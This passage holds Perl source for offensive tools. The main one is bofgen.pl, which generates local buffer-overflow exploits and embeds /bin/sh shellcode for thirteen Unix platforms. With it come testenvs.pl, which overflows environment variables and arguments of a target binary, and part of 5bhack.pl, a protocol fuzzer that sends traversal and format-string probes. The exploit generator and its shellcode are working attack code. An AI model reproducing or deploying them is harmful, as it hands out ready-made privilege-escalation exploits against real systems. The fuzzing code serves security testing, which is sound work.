6477accept a return address from the user in command line (1 = true, 0 = false) [0]:
6478require a return address from the user in command line (1 = true, 0 = false) [0]:
6479enter key to use to store buffer:
6480
6481Exploit saved in exploit.pl
6482
6483- made by bofgen.pl - http://bofgen.LucidX.com - CommPort5@LucidX.com -
6484
6485http://www.samy.pl/bofgen/
6486
6487#!/usr/bin/perl
6488
6489#
6490# bofgen.pl - by CommPort5 [@LucidX.com]
6491# a local buffer overflow exploit generation program
6492# http://bofgen.LucidX.com
6493#
6494
6495@{$exploit{osnums}} = (
6496 "aix", "bsdi", "dg_ux", "freebsd", "hp_ux",
6497 "linux_x86", "linux_sparc", "openbsd", "ppc_linux",
6498 "ppc_bsd", "openserver", "solaris_sparc", "unixware",
6499);
6500
6501%shellcode = (
6502 aix =>
6503'0x7c0802a6 . 0x9421fbb0 . 0x90010458 . 0x3c60f019 .
65040x60632c48 . 0x90610440 . 0x3c60d002 . 0x60634c0c .
65050x90610444 . 0x3c602f62 . 0x6063696e . 0x90610438 .
65060x3c602f73 . 0x60636801 . 0x3863ffff . 0x9061043c .
65070x30610438 . 0x7c842278 . 0x80410440 . 0x80010444 .
65080x7c0903a6 . 0x4e800420 . 0x0',
6509
6510 bsdi =>
6511'"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76" .
6512"\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff\xff\x07" .
6513"\xff\xe8\xdc\xff\xff\xff/bin/sh\x00"',
6514
6515 dg_ux =>
6516'"\x58\xfe\xde\x23\x0f\x04\xde\x47\x04\x74\xf0\x43\xa4\x01\x8f\xb0" .
6517"\xa4\x01\x4f\x21\xfb\x6b\x3f\x24\x01\x80\x21\x20\xa8\x01\x2f\xb4" .
6518"\x10\x04\xff\x47\x80\xf4\xe2\x47\xff\x7f\x4a\x6b\x69\x6e\x3f\x24" .
6519"\x2f\x62\x21\x20\x73\x68\x5f\x24\xff\x2f\x42\x20\x82\x16\x41\x48" .
6520"\x90\x01\x2f\xb0\x94\x01\x4f\xb0\x98\x01\xef\xb5\xa0\x01\xef\xb7" .
6521"\x90\x01\x0f\x22\x98\x01\x2f\x22\x12\x04\xff\x47\x80\x74\xe7\x47" .
6522"\xff\x7f\xea\x6b"',
6523
6524 freebsd =>
6525'"\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" .
6526"\x69\x89\xe3\x51\x52\x53\x53\x6a\x3b\x58\xcd\x80"',
6527
6528 hp_ux =>
6529'"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" .
6530"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe" .
6531"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff"',
6532
6533 linux_x86 =>
6534'"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d" .
6535"\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3" .
6536"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0" .
6537"\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"',
6538
6539 linux_sparc =>
6540'"\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10" .
6541"\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10" .
6542"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" .
6543"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" .
6544"\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x10"',
6545
6546 openbsd =>
6547'"\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" .
6548"\x69\x89\xe3\x51\x52\x53\x53\x6a\x3b\x58\xcd\x80"',
6549
6550 ppc_linux =>
6551'0x7CC63278 . 0x2F867FFF . 0x41BC0054 . 0x7C6802A6 .
65520xB0C3FFF9 . 0xB0C3FFF1 . 0x38867FF0 . 0x38A67FF4 .
65530x38E67FF3 . 0x7CA52278 . 0x7CE72278 . 0x7C853A14 .
65540x7CC419AE . 0x7C042A14 . 0x7CE72850 . 0x7C852A14 .
65550x7C63212E . 0x7C832214 . 0x7CC5212E . 0x7CA52A78 .
65560x44FFFF02 . 0x7CE03B78 . 0x44FFFF02 . 0x4BFFFFB1 .
65570x2F62696E . 0x2F73685A . 0xFFFFFFFF . 0xFFFFFFFF',
6558
6559 ppc_bsd =>
6560'0x7CC63278 . 0x2F867FFF . 0x41BC0054 . 0x7C6802A6 .
65610xB0C3FFF9 . 0xB0C3FFF1 . 0x38867FF0 . 0x38A67FF4 .
65620x38E67FF3 . 0x7CA52278 . 0x7CE72278 . 0x7C853A14 .
65630x7CC419AE . 0x7C042A14 . 0x7CE72850 . 0x7C852A14 .
65640x7C63212E . 0x7C832214 . 0x7CC5212E . 0x7CA52A78 .
65650x44FFFF02 . 0x7CE03B78 . 0x44FFFF02 . 0x4BFFFFB1 .
65660x2F62696E . 0x2F73685A . 0xFFFFFFFF . 0xFFFFFFFF',
6567
6568 openserver =>
6569'"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0" .
6570"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff" .
6571"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa"',
6572
6573 solaris_sparc =>
6574'"\x90\x1b\xc0\x0f\x82\x10\x20\x17\x91\xd0\x20\x08\x90\x1b\xc0\x0f"
6575"\x82\x10\x20\x1b\x91\xd0\x20\x08\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
6576"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1b\xc0\x0f"
6577"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc"
6578"\x82\x10\x20\x3b\x91\xd0\x20\x08"',
6579
6580 unixware =>
6581'"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" .
6582"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" .
6583"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" .
6584"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" .
6585"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" .
6586"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"',
6587);
6588
6589%default = (
6590 name => "exploit.pl",
6591 nop => '\x90',
6592 ret => '0xbfffffff',
6593 offset => 0,
6594 rmenv => 0,
6595 aoff => 0,
6596 roff => 0,
6597 aret => 0,
6598 rret => 0,
6599);
6600
6601%colors = ( 'clear' => 0,
6602 'reset' => 0,
6603 'bold' => 1,
6604 'dark' => 2,
6605 'underline' => 4,
6606 'underscore' => 4,
6607 'blink' => 5,
6608 'reverse' => 7,
6609 'concealed' => 8,
6610 'black' => 30, 'on_black' => 40,
6611 'red' => 31, 'on_red' => 41,
6612 'green' => 32, 'on_green' => 42,
6613 'yellow' => 33, 'on_yellow' => 43,
6614 'blue' => 34, 'on_blue' => 44,
6615 'magenta' => 35, 'on_magenta' => 45,
6616 'cyan' => 36, 'on_cyan' => 46,
6617 'white' => 37, 'on_white' => 47,
6618);
6619
6620print "\nBuffer Overflow Exploit Generation program [bofgen.pl]\n";
6621print "By CommPort5 [\@LucidX.com]\n\n";
6622
6623print "* = required, []'s = default (and required)\n\n";
6624
6625print "name of your exploit [$default{name}]: ";
6626chomp($exploit{name} = <STDIN>);
6627$exploit{name} = $default{name} if $exploit{name} eq '';
6628
6629while (!$exploit{path}) {
6630 print "* path (full path recommended) to exploitable program: ";
6631 chomp($exploit{path} = <STDIN>);
6632}
6633
6634print "nop [$default{nop}]: ";
6635chomp($exploit{nop} = <STDIN>);
6636$exploit{nop} = $default{nop} if $exploit{nop} eq '';
6637
6638print "return address [$default{ret}]: ";
6639chomp($exploit{ret} = <STDIN>);
6640$exploit{ret} = $default{ret} if $exploit{ret} eq '';
6641
6642while ($exploit{offset} !~ /^\d+$/) {
6643 print "offset [$default{offset}]: ";
6644 chomp($exploit{offset} = <STDIN>);
6645 $exploit{offset} = $default{offset} if $exploit{offset} eq '';
6646}
6647
6648while ($exploit{len} !~ /^\d+$/) {
6649 print "* length to overwrite %eip (without the +100): ";
6650 chomp($exploit{len} = <STDIN>);
6651}
6652$exploit{len} += 100;
6653
6654while ($exploit{rmenv} !~ /^(1|0)$/) {
6655 print "remove all environment variables before executing program (1 = true, 0 = false) [$default{rmenv}]: ";
6656 chomp($exploit{rmenv} = <STDIN>);
6657 $exploit{rmenv} = $default{rmenv} if $exploit{rmenv} eq '';
6658}
6659
6660while ($exploit{type} !~ /^(1|2)$/) {
6661 print "* type of buffer overflow, 1 = arguement, 2 = environment: ";
6662 chomp($exploit{type} = <STDIN>);
6663}
6664
6665for ($i = 1; $i <= @{$exploit{osnums}}; $i += 2) {
6666 print "$i = $exploit{osnums}[$i-1]\t\t";
6667 if ($exploit{osnums}[$i]) {
6668 print ($i + 1);
6669 print " = $exploit{osnums}[$i]";
6670 }
6671 print "\n";
6672}
6673while ($exploit{os} !~ /^(\s*\d+\s*)+$/) {
6674 print "* enter the OSs you would like support for (enter numbers, whitespace seperated): ";
6675 chomp($exploit{os} = <STDIN>);
6676}
6677foreach (split(/\s+/, $exploit{os})) {
6678 push(@{$exploit{oss}}, $exploit{osnums}[$_-1]);
6679}
6680
6681print "preceding arguements (before buffer overflow, if any): ";
6682chomp($exploit{parg} = <STDIN>);
6683
6684do {
6685 print "insert environment variable (key name, if any - not buffer overflow key): ";
6686 chomp($tmp = <STDIN>);
6687 if ($tmp) {
6688 print "insert environment data for key $tmp: ";
6689 chomp($exploit{keys}{$tmp} = <STDIN>);
6690 }
6691} while ($tmp);
6692
6693while ($exploit{aoff} !~ /^(1|0)$/) {
6694 print "accept an offset from the user in command line (1 = true, 0 = false) [$default{aoff}]: ";
6695 chomp($exploit{aoff} = <STDIN>);
6696 $exploit{aoff} = $default{aoff} if $exploit{aoff} eq '';
6697}
6698
6699if ($exploit{aoff}) {
6700 while ($exploit{roff} !~ /^(1|0)$/) {
6701 print "require an offset from the user in command line (1 = true, 0 = false) [$default{roff}]: ";
6702 chomp($exploit{roff} = <STDIN>);
6703 $exploit{roff} = $default{roff} if $exploit{roff} eq '';
6704 }
6705}
6706
6707while ($exploit{aret} !~ /^(1|0)$/) {
6708 print "accept a return address from the user in command line (1 = true, 0 = false) [$default{aret}]: ";
6709 chomp($exploit{aret} = <STDIN>);
6710 $exploit{aret} = $default{aret} if $exploit{aret} eq '';
6711}
6712
6713if ($exploit{aret}) {
6714 while ($exploit{rret} !~ /^(1|0)$/) {
6715 print "require a return address from the user in command line (1 = true, 0 = false) [$default{rret}]: ";
6716 chomp($exploit{rret} = <STDIN>);
6717 $exploit{rret} = $default{rret} if $exploit{rret} eq '';
6718 }
6719}
6720
6721if ($exploit{type} == 2) {
6722 while (!$exploit{key}) {
6723 print "enter key to use to store buffer: ";
6724 chomp($exploit{key} = <STDIN>);
6725 }
6726}
6727
6728$scdata = '%shellcode = (';
6729for ($i = 0; $i < @{$exploit{oss}}; $i++) {
6730 $scdata .= "\n\t$exploit{oss}[$i]\t=>\n$shellcode{$exploit{oss}[$i]},\n";
6731}
6732$scdata .= ");\n\n\@os = (";
6733for ($i = 0; $i < @{$exploit{oss}}; $i++) {
6734 $scdata .= "\n\t\"$exploit{oss}[$i]\",";
6735}
6736$scdata .= "\n);";
6737
6738$argdata = "<OS #> ";
6739$argnum = 1;
6740$argmax = 1;
6741if ($exploit{aoff}) {
6742 if ($exploit{roff}) {
6743 $argdata .= "<-o offset> ";
6744 $argnum += 2;
6745 $argmax += 2;
6746 }
6747 else {
6748 $argdata .= "[-o offset] ";
6749 $argmax += 2;
6750 }
6751}
6752if ($exploit{aret}) {
6753 if ($exploit{rret}) {
6754 $argdata .= "<-r return address> ";
6755 $argnum += 2;
6756 $argmax += 2;
6757 }
6758 else {
6759 $argdata .= "[-r return address] ";
6760 $argmax += 2;
6761 }
6762}
6763
6764print "\n";
6765$comment = << "EOF";
6766
6767#
6768# $exploit{name} - generated by bofgen.pl by CommPort5 [\@LucidX.com]
6769# a buffer overflow exploit generation program
6770# http://bofgen.LucidX.com
6771#
6772EOF
6773
6774$data = << "EOF";
6775#!/usr/bin/perl
6776$comment
6777(\$osn, \$offset, \$ret) = ✓
6778
6779$scdata
6780
6781\$len = $exploit{len};
6782\$nop = "$exploit{nop}";
6783
6784for (\$i = 0; \$i < (\$len - length(\$shellcode{\$os[\$osn-1]}) - 100); \$i++) {
6785 \$buffer .= \$nop;
6786}
6787
6788\$buffer .= \$shellcode{\$os[\$osn-1]};
6789\$addr = pack('l', (\$ret + \$offset));
6790for (\$i += length(\$shellcode{\$os[\$osn-1]}); \$i < \$len; \$i += 4) {
6791 \$buffer .= \$addr;
6792}
6793
6794EOF
6795
6796if ($exploit{rmenv}) {
6797 $data .= "foreach (keys(\%ENV)) {\n delete \$ENV{\$_};\n}\n";
6798}
6799
6800foreach (keys(%{$exploit{keys}})) {
6801 $data .= "\$ENV{$_} = \"$exploit{keys}{$_}\";\n";
6802}
6803
6804if ($exploit{type} == 1) {
6805 $data .= "\nexec(\"$exploit{path}\", ";
6806 foreach (split(/\s+/, $exploit{parg})) {
6807 $data .= "\"$_\", ";
6808 }
6809 $data .= "\$buffer);\n";
6810}
6811else {
6812 $data .= "\n\$ENV{$exploit{key}} = \$buffer;\nexec(\"$exploit{path}\"";
6813 foreach (split(/\s+/, $exploit{parg})) {
6814 $data .= ", \"$_\"";
6815 }
6816 $data .= ");\n";
6817}
6818
6819$data .= << "EOF";
6820
6821
6822sub check {
6823 \$ret = $exploit{ret};
6824 \$offset = $exploit{offset};
6825 if (\@ARGV < $argnum or \@ARGV > $argmax) {
6826 &error;
6827 }
6828 \$osn = shift(\@ARGV);
6829 for (\$i = 0; \$i < \@ARGV; \$i++) {
6830 if (\$ARGV[\$i] =~ /^[^-]/ && \$ARGV[\$i-1] =~ /^[^-]/) {
6831 &error;
6832 }
6833 if (\$ARGV[\$i] =~ /^-/) {
6834 if (\$ARGV[\$i] =~ /^-(o|r)\$/i) {
6835 if (\$1 eq 'o') {
6836 \$offset = \$ARGV[\$i+1];
6837 }
6838 elsif (\$1 eq 'r') {
6839 \$ret = \$ARGV[\$i+1];
6840 }
6841 }
6842 else {
6843 &error;
6844 }
6845 }
6846 }
6847 return(\$osn, \$offset, \$ret);
6848}
6849
6850sub error {
6851 print STDERR "usage: \$0 $argdata\\n" if \@ARGV < $argnum;
6852EOF
6853
6854for ($i = 1; $i <= @{$exploit{oss}}; $i++) {
6855 $data .= " print STDERR \" $i = $exploit{oss}[$i-1]\\n\";\n";
6856}
6857$data .= " die \"\\n\";\n}\n";
6858$data .= $comment;
6859
6860open(EXPLOIT, ">$exploit{name}") or die "Can't open $exploit{name} for writing: $!\n";
6861print EXPLOIT $data;
6862close(EXPLOIT);
6863
6864print STDERR "Exploit saved in $exploit{name}\n";
6865die "\n- made by bofgen.pl - http://bofgen.LucidX.com - CommPort5\@LucidX.com -\n";
6866
6867# h4w h4w h4w
6868# -cp5
6869
6870
6871#!/usr/bin/perl
6872
6873# getenvs.pl - by CommPort5 [@LucidX.com]
6874# this is a hacked up and nice version of v9's getenv program
6875# so credits go to him
6876
6877$SIG{INT} = \&data;
6878$SIG{'TSTP'} = \&data;
6879
6880die "usage: $0 < /path/to/binary >\n" unless @ARGV == 1;
6881
6882@ignore = split(/\s+/,
6883"TTOU TTIN TSTP STOP CONT CHLD STKFLT ALRM PIPE USR2 SEGV USR1 KILL FPE BUS IOT ABRT TRAP ILL QUIT INT HUP _DYNAMIC _GLOBAL_OFFSET_TABLE_ --");
6884
6885print "getenvs.pl :: finds environment variables in binary programs\n";
6886
6887&readbinary(@ARGV);
6888&data;
6889exit(0);
6890
6891sub readbinary {
6892 open(BINARY, shift) || die "Can't open file: $!\n";
6893 @read = <BINARY>;
6894 close(BINARY);
6895 $i = 0;
6896 $tokens = @read;
6897 while ($read[$i]) {
6898 @tmpread = split(chr(0), $read[$i]);
6899 $tokens = @tmpread;
6900 $j = -1;
6901 while ($j < $tokens) {
6902 $j++;
6903 $k = 0;
6904 while (isvalid(substr($tmpread[$j], $k, 1)) && length($tmpread[$j]) > 1) {
6905 if ($k + 1 == length($tmpread[$j])) {
6906 $m = 0;
6907 @s = @ignore;
6908 $l = 0;
6909 while ($s[$l]) {
6910 if ($s[$l] eq $tmpread[$j]) {
6911 $m++;
6912 }
6913 $l++;
6914 }
6915 @s = split(/,/, $result);
6916 $l = 0;
6917 while ($s[$l]) {
6918 if ($s[$l] eq $tmpread[$j] || $s[$l] eq " $tmpread[$j]") {
6919 $m++;
6920 }
6921 $l++;
6922 }
6923 if (!$m && substr($tmpread[$j], 0, 3) ne "SIG" && substr($tmpread[$j], 0, 2) ne "__" &&
6924 substr($tmpread[$j], length($tmpread[$j]) - 2, 2) ne "__") {
6925 if (!$result) {
6926 $result = $tmpread[$j];
6927 }
6928 else {
6929 $result = "$result, $tmpread[$j]";
6930 }
6931 }
6932 }
6933 $k++;
6934 }
6935 }
6936 $i++;
6937 }
6938}
6939
6940sub data {
6941 if ($result) {
6942 print "possible ENV variables: $result\n";
6943 }
6944 else {
6945 print "no typical ENV variables found.\n";
6946 }
6947}
6948
6949sub isvalid {
6950 $char = substr(shift, 0, 1);
6951 if (ord($char) > 64 && ord($char) < 91 || ord($char) > 47 && ord($char) < 58 || ord($char) == 45 || ord($char) == 95) {
6952 return 1;
6953 }
6954 return 0;
6955}
6956
6957
6958#!/usr/bin/perl
6959
6960# testenvs.pl - by CommPort5 [@LucidX.com]
6961# some of this code is a hacked up version of v9's getenv program
6962# for finding envs in binary programs
6963
6964$SIG{INT} = \&data;
6965$SIG{'TSTP'} = \&data;
6966
6967die "usage: $0 < /path/to/binary >\n" unless @ARGV == 1;
6968
6969@ignore = split(/\s+/,
6970"TERM USER TTOU TTIN TSTP STOP CONT CHLD STKFLT ALRM PIPE USR2 SEGV USR1 KILL FPE BUS IOT ABRT TRAP ILL QUIT INT HUP _DYNAMIC _GLOBAL_OFFSET_TABLE_ --");
6971
6972print "testenvs.pl :: tests environment variables in binary programs for buffer overflows\n";
6973
6974open(BINARY, shift) || die "Can't open file: $!\n";
6975@read = <BINARY>;
6976close(BINARY);
6977$i = 0;
6978$tokens = @read;
6979while ($read[$i]) {
6980 @tmpread = split(chr(0), $read[$i]);
6981 $tokens = @tmpread;
6982 $j = -1;
6983 while ($j < $tokens) {
6984 $j++;
6985 $k = 0;
6986 while (isvalid(substr($tmpread[$j], $k, 1)) && length($tmpread[$j]) > 1) {
6987 if ($k + 1 == length($tmpread[$j])) {
6988 $m = 0;
6989 @s = @ignore;
6990 $l = 0;
6991 while ($s[$l]) {
6992 if ($s[$l] eq $tmpread[$j]) {
6993 $m++;
6994 }
6995 $l++;
6996 }
6997 @s = split(/,/, $result);
6998 $l = 0;
6999 while ($s[$l]) {
7000 if ($s[$l] eq $tmpread[$j] || $s[$l] eq " $tmpread[$j]") {
7001 $m++;
7002 }
7003 $l++;
7004 }
7005 if (!$m && substr($tmpread[$j], 0, 3) ne "SIG" && substr($tmpread[$j], 0, 2) ne "__" &&
7006 substr($tmpread[$j], length($tmpread[$j]) - 2, 2) ne "__") {
7007 if (!$result) {
7008 $result = $tmpread[$j];
7009 }
7010 else {
7011 $result = "$result, $tmpread[$j]";
7012 }
7013 }
7014 }
7015 $k++;
7016 }
7017 }
7018 $i++;
7019}
7020
7021&data;
7022
7023sub data {
7024 if ($result) {
7025 foreach (split(/,\s*/, $result)) {
7026 $ENV{$_} = "A" x 2500;
7027 }
7028 exec("$ARGV[0] " . "A" x 2500);
7029 }
7030 else {
7031 print "no typical ENV variables found.\nattempt arguement overflows manually [and environment, if any].\n";
7032 }
7033}
7034
7035sub isvalid {
7036 $char = substr(shift, 0, 1);
7037 if (ord($char) > 64 && ord($char) < 91 || ord($char) > 47 && ord($char) < 58 || ord($char) == 45 || ord($char) == 95) {
7038 return 1;
7039 }
7040 return 0;
7041}
7042http://www.samy.pl/bofgen/
7043
7044#!/usr/bin/perl
7045
7046# Caezar's Challenge 5b - by h1kari and CommPort5.
7047# Shouts to BasharTeg for his help with the bug list and question answers.
7048#
7049# 5bhack.pl v0.01 - discovers common bugs within ascii based tcp protocols
7050# using captured sessions and generic protocol information.
7051#
7052# this is an extremely generalized proof-of-concept, so manual checking of the
7053# results must be done for accurate detection. possible future features should
7054# include more intelligent protocol support and intuitive scripting for
7055# protocol-specific symantics.
7056#
7057# NOTE: capture file must be in a format compatible to the sample capture file
7058# included
7059
7060# config vars
7061my $maxread = 4096;
7062my $recvtout = 0.1;
7063my $vulnchkstr = '../../../../../.../..../...../*?+[]^$(){}\'";<>|%s%d%p%n';
7064my $_5ba_incr = 4096;
7065my $_5ba_tries = 3;
7066my $_5bg_tries = 10;
7067my $_5bg_tout = 0.1;
7068
7069# parse input and initialize
7070use Net::Telnet;
7071
7072($ARGV[2]) or
7073 die "5bhack.pl - for caezar's challenge's question 5b - by h1kari and CommPort5.\n".
7074 "usage: $0 <capture file> <host> <port> <tests a-i> [verbose level]\n".
7075 " verbose:\n".
7076 " 0/undef - only print necessary information\n".
7077 " 1 - print high verbose for necessary information\n".
7078 " 2 - print lower-risk information\n".
7079 " 3 - print high verbose for lower-risk information\n";
7080
7081require $ARGV[0];
7082my $host = $ARGV[1];
7083my $ip = &host2ip($host);
7084my $port = $ARGV[2];
7085my @tests = split //, $ARGV[3];
7086my $verbose = $ARGV[4];
7087
7088# run tests
7089for(@tests)
7090{
7091 if($_ =~ /^[a-i]$/)
7092 {
7093 print "----------------[ running test 5b$_....\n";
7094 eval "&try_5b$_";
7095 }
7096}
7097
7098# 5ba functions
7099sub try_5ba
7100{
7101 for(1..$_5ba_tries)
7102 {
7103 my @sessions = &get_5ba_sessions(($_ * $_5ba_incr) + 1);
7104 &send_std_session(1, \@sessions);
7105 }
7106}
7107
7108sub get_5ba_sessions
7109{
7110 my $size = @_[0];
7111 my(@sessions, $i, $j, $k);
7112 $i = 0;
7113
7114 foreach $j (0..$#send)
7115 {
7116 my @words = split /$sepregex+/, $send[$j];
7117 foreach $k (0..$#words)
7118 {
7119 my @words_temp = @words;
7120 $words_temp[$k] = $words_temp[$k] ."A"x($size - length($words_temp[$k]));
7121 @{$sessions[$i]} = @send;
7122 $sessions[$i++][$j] = join $seperator, @words_temp;
7123 }
7124 }
7125
7126 return @sessions;
7127}
7128
7129# 5bb functions
7130sub try_5bb
7131{
7132 my @sessions = &get_5bb_sessions;
7133 &send_std_session(2, \@sessions);
7134}
7135
7136sub get_5bb_sessions
7137{
7138 my(@sessions, $i, $j, $k, $l, %nums);
7139 $i = 0;
7140
7141 foreach $j (0..$#send)
7142 {
7143 my @words = split /$sepregex+/, $send[$j];
7144 foreach $k (0..$#words)
7145 {
7146 if($words[$k] =~ /^\-?[0-9]+$/)
7147 {
7148 $nums{$words[$k]} = 1;
7149 }
7150 }
7151 }
7152
7153 foreach $j (0..$#send)
7154 {
7155 my @words = split /$sepregex+/, $send[$j];
7156 foreach $k (0..$#words)
7157 {
7158 if($words[$k] =~ /^\-?[0-9]+$/)
7159 {
7160 my @words_temp = @words;
7161 foreach $l (keys(%nums))
7162 {
7163 if($words_temp[$k] == $l) { next }
7164 $words_temp[$k] = $l;
7165 @{$sessions[$i]} = @send;
7166 $sessions[$i++][$j] = join $seperator, @words_temp;
7167 }
7168 }
7169 }
7170 }
7171
7172 return @sessions;
7173}
7174
7175# 5bc functions
7176sub try_5bc
7177{
7178 my @sessions = &get_5bc_sessions;
7179 &send_std_session(1, \@sessions);
7180}
7181
7182sub get_5bc_sessions
7183{
7184 my(@sessions, $i, $j, $k);
7185 $i = 0;
7186
7187 foreach $j (0..$#send)
7188 {
7189 my @words = split/$sepregex+/, $send[$j];
7190 foreach $k (0..$#words)
7191 {
7192 if($words[$k] =~ /^\-?[0-9]+$/)
7193 {
7194 my @words_temp = @words;
7195 # first replace with 0
7196 if($words[$k] != 0)
7197 {
7198 $words_temp[$k] = 0;
7199 @{$sessions[$i]} = @send;
7200 $sessions[$i++][$j] = join $seperator, @words_temp;
7201 }
7202 # then with the inverse of the number or -1 if it's 0.
7203 ($words_temp[$k] ? ($words_temp[$k] *= -1) : ($words_temp[$k] = -1));
7204 @{$sessions[$i]} = @send;
7205 $sessions[$i++][$j] = join $seperator, @words_temp;
7206 }
7207 }
7208 }
7209
7210 return @sessions;
7211}
7212
7213# 5bd functions
7214sub try_5bd
7215{
7216 my $i;
7217 my @sessions = &get_5bd_sessions;
7218
7219 # implementation isn't the best, but it outlines what needs to be done.
7220 foreach $i (0..$#sessions)
7221 {
7222 my(@temp_send, @temp_sessions);
7223 @{$temp_send[0]} = @send;
7224 @{$temp_sessions[0]} = @{$sessions[$i]};
7225 if(!fork)
7226 {
7227 &send_std_session(0, \@temp_sessions);
7228 exit;
7229 }
7230 &send_std_session(1, \@temp_send);
7231 # wait until child process is reaped
7232 while(wait != -1) { wait }
7233 }
7234}
7235
7236sub get_5bd_sessions
7237{
7238 my(@sessions, $i, $l, $combos);
7239 $i = 0;
7240
7241 $l = newcombo main(@send);
7242 while(@{$sessions[$i++]} = $l->nextcombo) { }
7243
7244 return @sessions;
7245}
7246
7247# 5be functions
7248sub try_5be
7249{
7250 my $i;
7251 my @sessions = &get_5be_sessions;
7252 &send_std_session(1, \@sessions);
7253}
7254
7255sub get_5be_sessions
7256{
7257 my(@sessions, $i, $l, $combos);
7258 $i = 0;
7259
7260 $l = newcombo main(@send);
7261 while(@{$sessions[$i++]} = $l->nextcombo) { }
7262
7263 return @sessions;
7264}
7265
7266# 5bf functions
7267sub try_5bf
7268{
7269 my @sessions = &get_5bf_sessions;
7270 &send_std_session(2, \@sessions);
7271}
7272
7273sub get_5bf_sessions
7274{
7275 my(@sessions, $i, $j, $k);
7276 $i = 0;
7277
7278 foreach $j (0..$#send)
7279 {
7280 my @words = split /$sepregex+/, $send[$j];
7281 foreach $k (0..$#words)
7282 {
7283 my @words_temp = @words;
7284 # lets try adding the vuln checking string to both the front and end
7285 $words_temp[$k] = $words[$k] .$vulnchkstr;
7286 @{$sessions[$i]} = @send;
7287 $sessions[$i++][$j] = join $seperator, @words_temp;
7288 $words_temp[$k] = $vulnchkstr. $words[$k];
7289 @{$sessions[$i]} = @send;
7290 $sessions[$i++][$j] = join $seperator, @words_temp;
7291 }
7292 }
7293
7294 return @sessions;
7295}
7296
7297# 5bg functions
7298sub try_5bg
7299{
7300 my $temp_tout = $recvtout;
7301 my($sessions, $recvs) = &get_5bg_sessions;
7302
7303 &send_std_session(1, $sessions, $recvs);
7304}
7305
7306sub get_5bg_sessions
7307{
7308 my(@sessions, @recvs, $i, $j, $k);
7309 $i = 0;
7310
7311 foreach $j (0..$#send)
7312 {
7313 if(!$send[$j]) { next }
7314
7315 $k = 0;
7316 for(0..$#send)
7317 {
7318 if($_ == $j)
7319 {
7320 for(0..$_5bg_tries)
7321 {
7322 $sessions[$i][$k] = $send[$j];
7323 $recvs[$i][$k++] = $recv[$j];
7324 }
7325 }
7326 else
7327 {
7328 $sessions[$i][$k] = $send[$_];
7329 $recvs[$i][$k++] = $recv[$_];
7330 }
7331 }
7332 $i++;
7333 }
7334
7335 return(\@sessions, \@recvs);
7336}
7337
7338# 5bh functions
7339sub try_5bh
7340{
7341 my @sessions = &get_5bh_sessions;
7342 &send_std_session(2, \@sessions);
7343}
7344
7345sub get_5bh_sessions
7346{
7347 my(@sessions, $i, $j, $k);
7348 $i = 0;
7349
7350 foreach $j (0..$#send)
7351 {
7352 my @words = split/$sepregex+/, $send[$j];
7353 foreach $k (0..$#words)
7354 {
7355 if($words[$k] =~ /^\-?[0-9]+$/ && $words[$k] != 0)
7356 {
7357 my @words_temp = @words;
7358 # then with the inverse of the number or -1 if it's 0.
7359 $words_temp[$k] *= -1;
7360 @{$sessions[$i]} = @send;
7361 $sessions[$i++][$j] = join $seperator, @words_temp;
7362 }
7363 }
7364 }
7365
7366 return @sessions;
7367}
7368
7369# 5bi functions
7370sub try_5bi
7371{
7372 my @sessions = &get_5bi_sessions;
7373 &send_std_session(2, \@sessions);
7374}
7375
7376sub get_5bi_sessions
7377{
7378 my(@sessions, $i, $j, $k);
7379 $i = 0;
7380
7381 foreach $j (0..$#send)
7382 {
7383 my @words = split /$sepregex+/, $send[$j];
7384 foreach $k (0..$#words)
7385 {
7386 my @words_temp = @words;
7387 $words_temp[$k] = &urlescape($words[$k]);
7388 @{$sessions[$i]} = @send;
7389 $sessions[$i++][$j] = join $seperator, @words_temp;
7390 # lets try adding the vuln checking string to both the front and end
7391 $words_temp[$k] = &urlescape($words[$k] .$vulnchkstr);
7392 @{$sessions[$i]} = @send;
7393 $sessions[$i++][$j] = join $seperator, @words_temp;
7394 $words_temp[$k] = &urlescape($vulnchkstr. $words[$k]);
